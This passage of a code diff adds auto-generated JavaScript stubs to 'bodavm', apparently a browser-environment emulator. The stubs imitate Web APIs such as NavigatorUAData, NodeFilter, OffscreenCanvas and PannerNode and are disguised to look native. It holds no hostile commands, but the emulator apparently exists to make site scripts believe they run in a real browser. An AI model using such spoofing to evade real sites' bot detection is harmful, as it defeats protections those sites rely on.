+bodavm.toolsFunc.defineProperty('NavigationTransition', "from", { + configurable: true, + enumerable: true, + get: function from() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationTransition'].prototype, "NavigationTransition", "from_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationTransition', "finished", { + configurable: true, + enumerable: true, + get: function finished() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationTransition'].prototype, "NavigationTransition", "finished_get", arguments); + }, + set: undefined +}, 'prototype'); +// NavigatorManagedData对象 + +bodavm.memory.globalobj['NavigatorManagedData'] = function NavigatorManagedData() { + console.log_copy('NavigatorManagedData 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NavigatorManagedData)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigatorManagedData'], "NavigatorManagedData"); +bodavm.memory.globalobj['NavigatorManagedData'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['NavigatorManagedData'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('NavigatorManagedData', "onmanagedconfigurationchange", { + configurable: true, + enumerable: true, + get: function onmanagedconfigurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorManagedData'].prototype, "NavigatorManagedData", "onmanagedconfigurationchange_get", arguments); + }, + set: function onmanagedconfigurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorManagedData'].prototype, "NavigatorManagedData", "onmanagedconfigurationchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigatorManagedData', "getManagedConfiguration", { + configurable: true, + enumerable: true, + writable: true, + value: function getManagedConfiguration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorManagedData'].prototype, "NavigatorManagedData", "getManagedConfiguration", arguments); + } +}, 'prototype'); +// NavigatorUAData对象 + +bodavm.memory.globalobj['NavigatorUAData'] = function NavigatorUAData() { + console.log_copy('NavigatorUAData 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NavigatorUAData)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigatorUAData'], "NavigatorUAData"); +bodavm.toolsFunc.defineProperty('NavigatorUAData', "brands", { + configurable: true, + enumerable: true, + get: function brands() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "brands_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigatorUAData', "mobile", { + configurable: true, + enumerable: true, + get: function mobile() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "mobile_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigatorUAData', "platform", { + configurable: true, + enumerable: true, + get: function platform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "platform_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigatorUAData', "getHighEntropyValues", { + configurable: true, + enumerable: true, + writable: true, + value: function getHighEntropyValues() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "getHighEntropyValues", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigatorUAData', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "toJSON", arguments); + } +}, 'prototype'); +// NodeFilter对象 + +bodavm.memory.globalobj['NodeFilter'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('NodeFilter', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "NodeFilter" +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "FILTER_ACCEPT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "FILTER_REJECT", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "FILTER_SKIP", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ALL", { + configurable: false, + enumerable: true, + writable: false, + value: 4294967295 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ELEMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ATTRIBUTE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_TEXT", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_CDATA_SECTION", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ENTITY_REFERENCE", { + configurable: false, + enumerable: true, + writable: false, + value: 16 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ENTITY", { + configurable: false, + enumerable: true, + writable: false, + value: 32 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_PROCESSING_INSTRUCTION", { + configurable: false, + enumerable: true, + writable: false, + value: 64 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_COMMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 128 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_DOCUMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 256 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_DOCUMENT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 512 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_DOCUMENT_FRAGMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 1024 +}); +bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_NOTATION", { + configurable: false, + enumerable: true, + writable: false, + value: 2048 +}); +// NodeIterator对象 + +bodavm.memory.globalobj['NodeIterator'] = function NodeIterator() { + console.log_copy('NodeIterator 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NodeIterator)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NodeIterator'], "NodeIterator"); +bodavm.toolsFunc.defineProperty('NodeIterator', "root", { + configurable: true, + enumerable: true, + get: function root() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "root_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeIterator', "referenceNode", { + configurable: true, + enumerable: true, + get: function referenceNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "referenceNode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeIterator', "pointerBeforeReferenceNode", { + configurable: true, + enumerable: true, + get: function pointerBeforeReferenceNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "pointerBeforeReferenceNode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeIterator', "whatToShow", { + configurable: true, + enumerable: true, + get: function whatToShow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "whatToShow_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeIterator', "filter", { + configurable: true, + enumerable: true, + get: function filter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "filter_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeIterator', "detach", { + configurable: true, + enumerable: true, + writable: true, + value: function detach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "detach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeIterator', "nextNode", { + configurable: true, + enumerable: true, + writable: true, + value: function nextNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "nextNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NodeIterator', "previousNode", { + configurable: true, + enumerable: true, + writable: true, + value: function previousNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "previousNode", arguments); + } +}, 'prototype'); +// OfflineAudioCompletionEvent对象 + +bodavm.memory.globalobj['OfflineAudioCompletionEvent'] = function OfflineAudioCompletionEvent() { + console.log_copy('OfflineAudioCompletionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof OfflineAudioCompletionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OfflineAudioCompletionEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OfflineAudioCompletionEvent'], "OfflineAudioCompletionEvent"); +bodavm.memory.globalobj['OfflineAudioCompletionEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['OfflineAudioCompletionEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('OfflineAudioCompletionEvent', "renderedBuffer", { + configurable: true, + enumerable: true, + get: function renderedBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioCompletionEvent'].prototype, "OfflineAudioCompletionEvent", "renderedBuffer_get", arguments); + }, + set: undefined +}, 'prototype'); +// offscreenBuffering对象 + +bodavm.memory.globalobj['offscreenBuffering'] = { + _boisinit: bodavm.config.isinit +}; +// OffscreenCanvas对象 + +bodavm.memory.globalobj['OffscreenCanvas'] = function OffscreenCanvas() { + console.log_copy('OffscreenCanvas 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof OffscreenCanvas)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OffscreenCanvas': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OffscreenCanvas'], "OffscreenCanvas"); +bodavm.memory.globalobj['OffscreenCanvas'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['OffscreenCanvas'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('OffscreenCanvas', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvas', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvas', "oncontextlost", { + configurable: true, + enumerable: true, + get: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "oncontextlost_get", arguments); + }, + set: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "oncontextlost_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvas', "oncontextrestored", { + configurable: true, + enumerable: true, + get: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "oncontextrestored_get", arguments); + }, + set: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "oncontextrestored_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvas', "convertToBlob", { + configurable: true, + enumerable: true, + writable: true, + value: function convertToBlob() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "convertToBlob", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvas', "getContext", { + configurable: true, + enumerable: true, + writable: true, + value: function getContext() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "getContext", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvas', "transferToImageBitmap", { + configurable: true, + enumerable: true, + writable: true, + value: function transferToImageBitmap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "transferToImageBitmap", arguments); + } +}, 'prototype'); +// open对象 + +bodavm.memory.globalobj['open'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('open', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('open', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "open" +}); +// openDatabase对象 + +bodavm.memory.globalobj['openDatabase'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('openDatabase', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('openDatabase', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "openDatabase" +}); +// origin对象 + +bodavm.memory.globalobj['origin'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('origin', "0", { + configurable: false, + enumerable: true, + writable: false, + value: "h" +}); +bodavm.toolsFunc.defineProperty('origin', "1", { + configurable: false, + enumerable: true, + writable: false, + value: "t" +}); +bodavm.toolsFunc.defineProperty('origin', "2", { + configurable: false, + enumerable: true, + writable: false, + value: "t" +}); +bodavm.toolsFunc.defineProperty('origin', "3", { + configurable: false, + enumerable: true, + writable: false, + value: "p" +}); +bodavm.toolsFunc.defineProperty('origin', "4", { + configurable: false, + enumerable: true, + writable: false, + value: ":" +}); +bodavm.toolsFunc.defineProperty('origin', "5", { + configurable: false, + enumerable: true, + writable: false, + value: "/" +}); +bodavm.toolsFunc.defineProperty('origin', "6", { + configurable: false, + enumerable: true, + writable: false, + value: "/" +}); +bodavm.toolsFunc.defineProperty('origin', "7", { + configurable: false, + enumerable: true, + writable: false, + value: "l" +}); +bodavm.toolsFunc.defineProperty('origin', "8", { + configurable: false, + enumerable: true, + writable: false, + value: "o" +}); +bodavm.toolsFunc.defineProperty('origin', "9", { + configurable: false, + enumerable: true, + writable: false, + value: "c" +}); +bodavm.toolsFunc.defineProperty('origin', "10", { + configurable: false, + enumerable: true, + writable: false, + value: "a" +}); +bodavm.toolsFunc.defineProperty('origin', "11", { + configurable: false, + enumerable: true, + writable: false, + value: "l" +}); +bodavm.toolsFunc.defineProperty('origin', "12", { + configurable: false, + enumerable: true, + writable: false, + value: "h" +}); +bodavm.toolsFunc.defineProperty('origin', "13", { + configurable: false, + enumerable: true, + writable: false, + value: "o" +}); +bodavm.toolsFunc.defineProperty('origin', "14", { + configurable: false, + enumerable: true, + writable: false, + value: "s" +}); +bodavm.toolsFunc.defineProperty('origin', "15", { + configurable: false, + enumerable: true, + writable: false, + value: "t" +}); +bodavm.toolsFunc.defineProperty('origin', "16", { + configurable: false, + enumerable: true, + writable: false, + value: ":" +}); +bodavm.toolsFunc.defineProperty('origin', "17", { + configurable: false, + enumerable: true, + writable: false, + value: "6" +}); +bodavm.toolsFunc.defineProperty('origin', "18", { + configurable: false, + enumerable: true, + writable: false, + value: "3" +}); +bodavm.toolsFunc.defineProperty('origin', "19", { + configurable: false, + enumerable: true, + writable: false, + value: "3" +}); +bodavm.toolsFunc.defineProperty('origin', "20", { + configurable: false, + enumerable: true, + writable: false, + value: "4" +}); +bodavm.toolsFunc.defineProperty('origin', "21", { + configurable: false, + enumerable: true, + writable: false, + value: "2" +}); +bodavm.toolsFunc.defineProperty('origin', "length", { + configurable: false, + enumerable: false, + writable: false, + value: 22 +}); +// originAgentCluster对象 + +bodavm.memory.globalobj['originAgentCluster'] = { + _boisinit: bodavm.config.isinit +}; +// OscillatorNode对象 + +bodavm.memory.globalobj['OscillatorNode'] = function OscillatorNode() { + console.log_copy('OscillatorNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof OscillatorNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OscillatorNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OscillatorNode'], "OscillatorNode"); +bodavm.memory.globalobj['OscillatorNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype; +bodavm.memory.globalobj['OscillatorNode'].__proto__ = bodavm.memory.globalobj['AudioScheduledSourceNode']; +bodavm.toolsFunc.defineProperty('OscillatorNode', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OscillatorNode', "frequency", { + configurable: true, + enumerable: true, + get: function frequency() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "frequency_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OscillatorNode', "detune", { + configurable: true, + enumerable: true, + get: function detune() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "detune_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OscillatorNode', "setPeriodicWave", { + configurable: true, + enumerable: true, + writable: true, + value: function setPeriodicWave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "setPeriodicWave", arguments); + } +}, 'prototype'); +// OTPCredential对象 + +bodavm.memory.globalobj['OTPCredential'] = function OTPCredential() { + console.log_copy('OTPCredential 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof OTPCredential)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OTPCredential'], "OTPCredential"); +bodavm.memory.globalobj['OTPCredential'].prototype.__proto__ = bodavm.memory.globalobj['Credential'].prototype; +bodavm.memory.globalobj['OTPCredential'].__proto__ = bodavm.memory.globalobj['Credential']; +bodavm.toolsFunc.defineProperty('OTPCredential', "code", { + configurable: true, + enumerable: true, + get: function code() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OTPCredential'].prototype, "OTPCredential", "code_get", arguments); + }, + set: undefined +}, 'prototype'); +// outerHeight对象 + +bodavm.memory.globalobj['outerHeight'] = { + _boisinit: bodavm.config.isinit +}; +// outerWidth对象 + +bodavm.memory.globalobj['outerWidth'] = { + _boisinit: bodavm.config.isinit +}; +// OverconstrainedError对象 + +bodavm.memory.globalobj['OverconstrainedError'] = function OverconstrainedError() { + console.log_copy('OverconstrainedError 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof OverconstrainedError)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OverconstrainedError': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OverconstrainedError'], "OverconstrainedError"); +bodavm.toolsFunc.defineProperty('OverconstrainedError', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OverconstrainedError'].prototype, "OverconstrainedError", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OverconstrainedError', "message", { + configurable: true, + enumerable: true, + get: function message() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OverconstrainedError'].prototype, "OverconstrainedError", "message_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OverconstrainedError', "constraint", { + configurable: true, + enumerable: true, + get: function constraint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OverconstrainedError'].prototype, "OverconstrainedError", "constraint_get", arguments); + }, + set: undefined +}, 'prototype'); +// PaymentRequestUpdateEvent对象 + +bodavm.memory.globalobj['PaymentRequestUpdateEvent'] = function PaymentRequestUpdateEvent() { + console.log_copy('PaymentRequestUpdateEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PaymentRequestUpdateEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PaymentRequestUpdateEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentRequestUpdateEvent'], "PaymentRequestUpdateEvent"); +bodavm.memory.globalobj['PaymentRequestUpdateEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['PaymentRequestUpdateEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('PaymentRequestUpdateEvent', "updateWith", { + configurable: true, + enumerable: true, + writable: true, + value: function updateWith() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequestUpdateEvent'].prototype, "PaymentRequestUpdateEvent", "updateWith", arguments); + } +}, 'prototype'); +// PageTransitionEvent对象 + +bodavm.memory.globalobj['PageTransitionEvent'] = function PageTransitionEvent() { + console.log_copy('PageTransitionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PageTransitionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PageTransitionEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PageTransitionEvent'], "PageTransitionEvent"); +bodavm.memory.globalobj['PageTransitionEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['PageTransitionEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('PageTransitionEvent', "persisted", { + configurable: true, + enumerable: true, + get: function persisted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PageTransitionEvent'].prototype, "PageTransitionEvent", "persisted_get", arguments); + }, + set: undefined +}, 'prototype'); +// pageXOffset对象 + +bodavm.memory.globalobj['pageXOffset'] = { + _boisinit: bodavm.config.isinit +}; +// pageYOffset对象 + +bodavm.memory.globalobj['pageYOffset'] = { + _boisinit: bodavm.config.isinit +}; +// PannerNode对象 + +bodavm.memory.globalobj['PannerNode'] = function PannerNode() { + console.log_copy('PannerNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PannerNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PannerNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PannerNode'], "PannerNode"); +bodavm.memory.globalobj['PannerNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['PannerNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('PannerNode', "panningModel", { + configurable: true, + enumerable: true, + get: function panningModel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "panningModel_get", arguments); + }, + set: function panningModel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "panningModel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "positionX", { + configurable: true, + enumerable: true, + get: function positionX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "positionX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "positionY", { + configurable: true, + enumerable: true, + get: function positionY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "positionY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "positionZ", { + configurable: true, + enumerable: true, + get: function positionZ() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "positionZ_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "orientationX", { + configurable: true, + enumerable: true, + get: function orientationX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "orientationX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "orientationY", { + configurable: true, + enumerable: true, + get: function orientationY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "orientationY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "orientationZ", { + configurable: true, + enumerable: true, + get: function orientationZ() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "orientationZ_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "distanceModel", { + configurable: true, + enumerable: true, + get: function distanceModel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "distanceModel_get", arguments); + }, + set: function distanceModel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "distanceModel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "refDistance", { + configurable: true, + enumerable: true, + get: function refDistance() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "refDistance_get", arguments); + }, + set: function refDistance() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "refDistance_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "maxDistance", { + configurable: true, + enumerable: true, + get: function maxDistance() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "maxDistance_get", arguments); + }, + set: function maxDistance() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "maxDistance_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "rolloffFactor", { + configurable: true, + enumerable: true, + get: function rolloffFactor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "rolloffFactor_get", arguments); + }, + set: function rolloffFactor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "rolloffFactor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PannerNode', "coneInnerAngle", { + configurable: true, + enumerable: true, + get: function coneInnerAngle() { + return bodavm.toolsFunc.dispatch(this, 